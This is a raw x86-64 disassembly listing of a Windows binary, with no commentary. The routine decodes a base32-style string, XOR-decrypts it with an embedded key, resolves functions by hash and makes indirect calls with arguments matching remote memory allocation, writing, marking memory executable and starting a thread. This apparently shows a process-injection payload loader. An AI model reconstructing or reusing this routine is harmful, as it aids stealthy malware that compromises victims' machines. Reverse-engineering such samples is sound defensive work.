mov rdi, qword [rsp + 0x6e0]
je 0x140003c21
test r15, r15
je 0x140003c10
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
lea rsi, [rsp + 0x1d0]
mov word [rsi + 0x18], ax
mov qword [rsi], r12
mov qword [rsi + 8], rbx
mov rax, qword [rsp + 0x698]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x20], r15
mov rcx, rsi
call fcn.140011a72
test rax, rax
je 0x140003c10
add rax, 0xfffffffffffffeb0
mov rcx, rax
call fcn.14000cbaf
jmp 0x140003bf3
mov r8d, 0x158
mov rcx, r12
mov rdx, rbp
call fcn.140001080
mov rcx, qword [rsp + 0x6c8]
mov rdx, qword [rsp + 0x6d0]
call fcn.1400050f0
mov rcx, qword [rsp + 0x6e8]
test rcx, rcx
je 0x140003c50
mov rdx, qword [rsp + 0x6a0]
call fcn.1400050f0
mov rcx, qword [rsp + 0x6f0]
mov rdx, qword [rsp + 0x6f8]
call fcn.1400050f0
mov rcx, qword [rsp + 0x700]
mov rdx, qword [rsp + 0x708]
call fcn.1400050f0
mov rsi, qword [rsp + 0x718]
mov rcx, rsi
mov rdx, qword [rsp + 0x710]
call fcn.140011846
mov rcx, rsi
mov rdx, qword [rsp + 0x720]
call fcn.1400119d8
mov rsi, qword [rsp + 0xe0]
mov rcx, rsi
mov rdx, qword [rsp + 0x1b8]
call fcn.1400118e1
mov rcx, rsi
mov rdx, qword [rsp + 0x1c0]
call fcn.1400119b0
mov rsi, qword [rsp + 0x1a8]
mov rcx, rsi
mov rdx, qword [rsp + 0x1a0]
call fcn.14000cad4
mov rcx, rsi
mov rdx, qword [rsp + 0x1b0]
call fcn.14000cb2d
mov r12, qword [rsp + 0xb0]
test r12, r12
je 0x140003dd1
lea rbx, [r12 + r13]
inc rbx
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
lea r14, [r12 + 0x10]
lea rsi, [rsp + 0x1d0]
mov qword [rsi], r12
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov word [rsi + 0x18], ax
mov qword [rsi + 0x20], rdi
mov rcx, rsi
call fcn.140011a14
test rax, rax
je 0x140003d4e
mov rcx, qword [rax - 8]
call sub.pdh.dll_PdhRemoveCounter
jmp 0x140003d36
mov rcx, qword [rsp + 0x6a8]
test rcx, rcx
je 0x140003d61
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x6b0]
test rcx, rcx
je 0x140003d73
call sub.pdh.dll_PdhCloseQuery
test r13, r13
je 0x140003dd1
test rdi, rdi
je 0x140003dc0
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
lea rsi, [rsp + 0x1d0]
mov qword [rsi], r12
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov word [rsi + 0x18], ax
mov qword [rsi + 0x20], rdi
mov rcx, rsi
call fcn.140011a14
test rax, rax
je 0x140003dc0
mov rcx, qword [rax - 0x20]
mov rdx, qword [rax - 0x18]
call fcn.1400050f0
jmp 0x140003da4
mov r8d, 0x20
mov rcx, r12
mov rdx, r13
call fcn.1400119ec
mov r14, qword [rsp + 0x78]
test r14, r14
je 0x140003e50
mov r8, qword [rsp + 0x6b8]
test r8, r8
mov rbx, qword [rsp + 0x6c0]
je 0x140003e3f
lea rax, [r14 + rbx]
inc rax
movdqa xmm0, xmmword [rbx]
pmovmskb ecx, xmm0
not ecx
lea rdx, [rbx + 0x10]
lea rsi, [rsp + 0x1d0]
mov qword [rsi], rbx
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
mov qword [rsi + 0x20], r8
mov rcx, rsi
call fcn.140011266
test rax, rax
je 0x140003e3f
mov rcx, qword [rax - 0x88]
mov rdx, qword [rax - 0x80]
call fcn.1400050f0
jmp 0x140003e20
mov r8d, 0x88
mov rcx, rbx
mov rdx, r14
call fcn.140001080
mov rsi, qword [rsp + 0x88]
mov rcx, rsi
mov rdx, qword [rsp + 0x98]
call fcn.14001189c
mov rcx, rsi
mov rdx, qword [rsp + 0x90]
call fcn.1400119c4
mov rax, qword [rsp + 0x6d8]
test rax, rax
je 0x14000477c
movabs r14, 0x8080808080808080
mov r15, qword [rsp + 0xa0]
lea rax, [r15 + rax*8]
movaps xmm14, xmmword [0x140024650]
movaps xmm15, xmmword [0x140024660]
movdqa xmm6, xmmword [0x140024670]
movdqa xmm7, xmmword [0x140024680]
movdqa xmm8, xmmword [0x140024690]
movaps xmm9, xmmword [0x1400246a0]
movaps xmm10, xmmword [0x1400246b0]
movaps xmm11, xmmword [0x1400246c0]
lea r13, [0x140024948]
movaps xmm12, xmmword [0x1400246d0]
xorps xmm13, xmm13
mov qword [rsp + 0x88], rax
cmp r15, rax
je 0x1400045d7
mov qword [rsp + 0x78], r15
mov rdi, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xd0]
lea rcx, [rsp + 0x1d0]
mov rdx, rdi
call fcn.140006268
cmp qword [rsp + 0x1d0], 0
jne 0x140004769
mov rsi, qword [rsp + 0x1d8]
mov rbx, qword [rsp + 0x1e0]
cmp rbx, 8
jb 0x140003f8f
lea rcx, [rsi + 7]
and rcx, 0xfffffffffffffff8
mov rax, rcx
sub rax, rsi
cmp rax, rbx
ja 0x140003f8f
test qword [rsi], r14
jne 0x140004769
cmp rcx, rsi
mov ecx, 8
cmove rax, rcx
lea rcx, [rbx - 8]
cmp rax, rcx
jae 0x140003faa
test qword [rsi + rax], r14
jne 0x140004769
add rax, 8
jmp 0x140003f7a
mov rcx, rbx
mov rax, rbx
sub rax, 1
jb 0x140003fb4
cmp byte [rsi + rcx - 1], 0
mov rcx, rax
jns 0x140003f95
jmp 0x140004769
test qword [rsi + rcx], r14
jne 0x140004769
cmp rbx, 6
mov ecx, 6
cmovb rcx, rbx
mov rax, qword [rsp + 0x78]
add rax, 8
mov qword [rsp + 0x90], rax
mov rax, rbx
sub rax, rcx
mov rdx, rbx
sub rcx, 1
jb 0x140003ff0
cmp byte [rsi + rdx - 1], 0x3d
jne 0x140003fed
dec rdx
jmp 0x140003fdb
mov rax, rdx
lea r14, [rax + rax*4]
shr r14, 3
lea rax, [r14 + 4]
xor edx, edx
mov ecx, 5
div rcx
neg rdx
lea rcx, [r14 + rdx]
add rcx, 4
xor edx, edx
call fcn.140005104
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], rdx
and qword [rsp + 0x1e0], 0
test rbx, rbx
je 0x140004168
cmp rbx, 8
mov eax, 8
cmovb rax, rbx
lea rbp, [rsi + rax]
sub rbx, rax
and qword [rsp + 0x440], 0
xor ecx, ecx
cmp rax, rcx
je 0x1400040a4
mov r8b, byte [rsi + rcx]
lea edx, [r8 - 0x61]
cmp dl, 0x1a
setb dl
shl dl, 5
xor dl, r8b
add dl, 0xd0
cmp dl, 0x2b
jae 0x140004754
movzx edx, dl
mov dl, byte [rdx + r13]
cmp dl, 0xff
je 0x140004754
cmp rcx, 8
je 0x140004769
mov byte [rsp + rcx + 0x440], dl
inc rcx
jmp 0x140004059
movq xmm0, qword [rsp + 0x440]
movdqa xmmword [rsp + 0x170], xmm0
mov al, byte [rsp + 0x170]
mov sil, byte [rsp + 0x171]
shl al, 3
mov edx, esi
shr dl, 2
or dl, al
lea r12, [rsp + 0x1d0]
mov rcx, r12
call fcn.140004cac
shl sil, 6
mov al, byte [rsp + 0x172]
add al, al
or al, sil
mov sil, byte [rsp + 0x173]
mov edx, esi
shr dl, 4
or dl, al
mov rcx, r12
call fcn.140004cac
shl sil, 4
mov r15b, byte [rsp + 0x174]
mov edx, r15d
shr dl, 1
or dl, sil
mov rcx, r12
call fcn.140004cac
shl r15b, 7
mov al, byte [rsp + 0x175]
shl al, 2
or al, r15b
mov sil, byte [rsp + 0x176]
mov edx, esi
shr dl, 3
or dl, al
mov rcx, r12
call fcn.140004cac
shl sil, 5
or sil, byte [rsp + 0x177]
mov rcx, r12
mov edx, esi
call fcn.140004cac
mov rsi, rbp
jmp 0x140004031
mov rsi, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1e0]
cmp rax, r14
cmovb r14, rax
mov qword [rsp + 0x1e0], r14
lea rax, [rsp + 0x1d8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x440], xmm0
test rsi, rsi
je 0x140004769
movaps xmm0, xmmword [rsp + 0x440]
movaps xmmword [rsp + 0x1d0], xmm0
mov rdx, qword [rsp + 0xc8]
mov rcx, rdi
call fcn.1400050f0
mov qword [rsp + 0xc0], rsi
movaps xmm0, xmmword [rsp + 0x1d0]
lea rax, [rsp + 0xc8]
movups xmmword [rax], xmm0
mov ecx, 0x114
mov edx, 1
call fcn.140001050
mov rdi, rax
movaps xmm0, xmmword [0x1400245d0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x1400245e0]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x1400245f0]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x140024600]
movups xmmword [rax + 0x30], xmm0
movaps xmm0, xmmword [0x140024610]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [0x140024620]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [0x140024630]
movups xmmword [rax + 0x60], xmm0
movdqa xmm0, xmmword [0x140024640]
movdqu xmmword [rax + 0x70], xmm0
movups xmmword [rax + 0x80], xmm14
movups xmmword [rax + 0x90], xmm15
movdqu xmmword [rax + 0xa0], xmm6
movdqu xmmword [rax + 0xb0], xmm7
movdqu xmmword [rax + 0xc0], xmm8
movups xmmword [rax + 0xd0], xmm9
movups xmmword [rax + 0xe0], xmm10
movups xmmword [rax + 0xf0], xmm11
movups xmmword [rax + 0x100], xmm12
mov dword [rax + 0x110], 0x2cac61ab
mov rsi, qword [rsp + 0xc0]
mov r14, qword [rsp + 0xd0]
mov eax, 0x114
cmp r14, rax
cmovae r14, rax
mov rcx, r14
xor edx, edx
call fcn.140005104
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], rdx
and qword [rsp + 0x1e0], 0
lea rcx, [rsp + 0x1d0]
mov rdx, r14
call fcn.140004d24
mov rcx, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1e0]
xor edx, edx
cmp r14, rdx
je 0x140004318
mov r8b, byte [rdi + rdx]
xor r8b, byte [rsi + rdx]
inc rdx
mov byte [rcx + rax], r8b
inc rax
jmp 0x1400042ff
movups xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x440], xmm0
mov qword [rsp + 0x450], rax
mov rdx, qword [rsp + 0xc8]
mov rcx, rsi
call fcn.1400050f0
mov r8, qword [rsp + 0x450]
mov qword [rsp + 0xd0], r8
movdqa xmm0, xmmword [rsp + 0x440]
movdqa xmmword [rsp + 0xc0], xmm0
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x440]
call fcn.1400053a8
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x598], rax
movaps xmmword [rsp + 0x1f0], xmm13
movaps xmmword [rsp + 0x1e0], xmm13
movaps xmmword [rsp + 0x1d0], xmm13
mov qword [rsp + 0x5d0], rax
and qword [rsp + 0x5d8], 0
mov ecx, 0x4b82f718
call fcn.140009ec4
lea rcx, [rsp + 0x5d0]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x1d0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0x7f
mov ecx, eax
mov r8d, 4
lea r9, [rsp + 0x598]
call section..text
test eax, eax
js 0x14000477c
and qword [rsp + 0x370], 0
mov rbx, qword [rsp + 0x450]
mov qword [rsp + 0x130], rbx
mov ecx, 0xf783b8ec
call fcn.140009ec4
mov r9, qword [rsp + 0x598]
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x30], rcx
lea r14, [rsp + 0x370]
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x38], 0x3000
and dword [rsp + 0x28], 0
mov ecx, eax
mov r8d, 6
call section..text
test eax, eax
js 0x14000477c
and dword [rsp + 0x188], 0
mov rsi, qword [rsp + 0x440]
mov qword [rsp + 0xf0], rbx
mov ecx, 0xc3170192
call fcn.140009ec4
mov r9, qword [rsp + 0x598]
mov rcx, qword [rsp + 0x370]
lea r8, [rsp + 0x188]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
mov ecx, eax
mov r8d, 5
call section..text
test eax, eax
js 0x14000477c
mov ebp, eax
mov dword [rsp + 0x728], 4
mov ecx, 0x50e92888
call fcn.140009ec4
mov r9, qword [rsp + 0x598]
lea rcx, [rsp + 0x728]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x30], 0x40
mov ecx, eax
mov r8d, 5
call section..text
test eax, eax
js 0x14000477c
and qword [rsp + 0x3b0], 0
mov rbx, qword [rsp + 0x598]
mov ecx, 0xaf18cfb0
call fcn.140009ec4
mov rcx, qword [rsp + 0x370]
movups xmmword [rsp + 0x60], xmm13
movups xmmword [rsp + 0x50], xmm13
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x48], 4
and qword [rsp + 0x40], 0
and qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1fffff
mov ecx, eax
mov r8d, 0xb
lea r9, [rsp + 0x3b0]
call section..text
test ebp, ebp
movabs r14, 0x8080808080808080
jne 0x14000477c
mov rdx, qword [rsp + 0x448]
mov rcx, rsi
call fcn.1400050f0
mov edx, 0x114
mov rcx, rdi
call fcn.1400050f0
mov r15, qword [rsp + 0x90]
mov rax, qword [rsp + 0x88]
jmp 0x140003efb
cmp qword [rsp + 0x690], 0
je 0x1400045f4
mov edx, 8
mov rcx, qword [rsp + 0xa0]
call fcn.1400049c0
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.1400050f0
movaps xmm6, xmmword [rsp + 0x760]
movaps xmm7, xmmword [rsp + 0x770]
movaps xmm8, xmmword [rsp + 0x780]
movaps xmm9, xmmword [rsp + 0x790]
movaps xmm10, xmmword [rsp + 0x7a0]
movaps xmm11, xmmword [rsp + 0x7b0]
movaps xmm12, xmmword [rsp + 0x7c0]
movaps xmm13, xmmword [rsp + 0x7d0]
movaps xmm14, xmmword [rsp + 0x7e0]
movaps xmm15, xmmword [rsp + 0x7f0]
add rsp, 0x808
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r12, r14
lea r15, [rsp + 0x730]
movd xmm6, dword [rsp + 0x3b0]
movd xmm7, dword [rsp + 0x3b8]
mov esi, 8
mov ecx, 8
call fcn.140005161
mov rdi, rax
movabs rax, 0x72657475706d6f43
mov qword [rdi], rax
mov r14, qword [r15 - 8]
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rsp + 0x5f0], xmm2
movaps xmmword [rsp + 0x5e0], xmm1
movdqa xmmword [rsp + 0x5d0], xmm0
cmp r14, 3
jne 0x1400046e7
xor edi, edi
jmp 0x14000474c
mov rbx, rdx
mov ecx, 0x60
mov edx, 8
call fcn.14000bfd5
mov rsi, rax
mov qword [rax], r14
movdqa xmm0, xmmword [rsp + 0x5d0]
movaps xmm1, xmmword [rsp + 0x5e0]
movaps xmm2, xmmword [rsp + 0x5f0]
movdqu xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
movups xmmword [rax + 0x28], xmm2
mov dword [rax + 0x38], ebp
movd dword [rax + 0x3c], xmm7
mov qword [rax + 0x40], rdi
mov qword [rax + 0x48], rbx
mov qword [rax + 0x50], 8
movd dword [rax + 0x58], xmm6
movd dword [rax + 0x5c], xmm6
mov edi, 1
mov r14, r12
jmp 0x140001ac4
mov rcx, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
call fcn.1400050f0
ud2
mov ecx, 8
mov rdx, rsi
call fcn.140021c76
ud2
call fcn.14000c6f0
ud2
mov ecx, 8
mov edx, 0x120
jmp 0x140004775
mov ecx, 8
mov edx, 0xfa0
jmp 0x140004775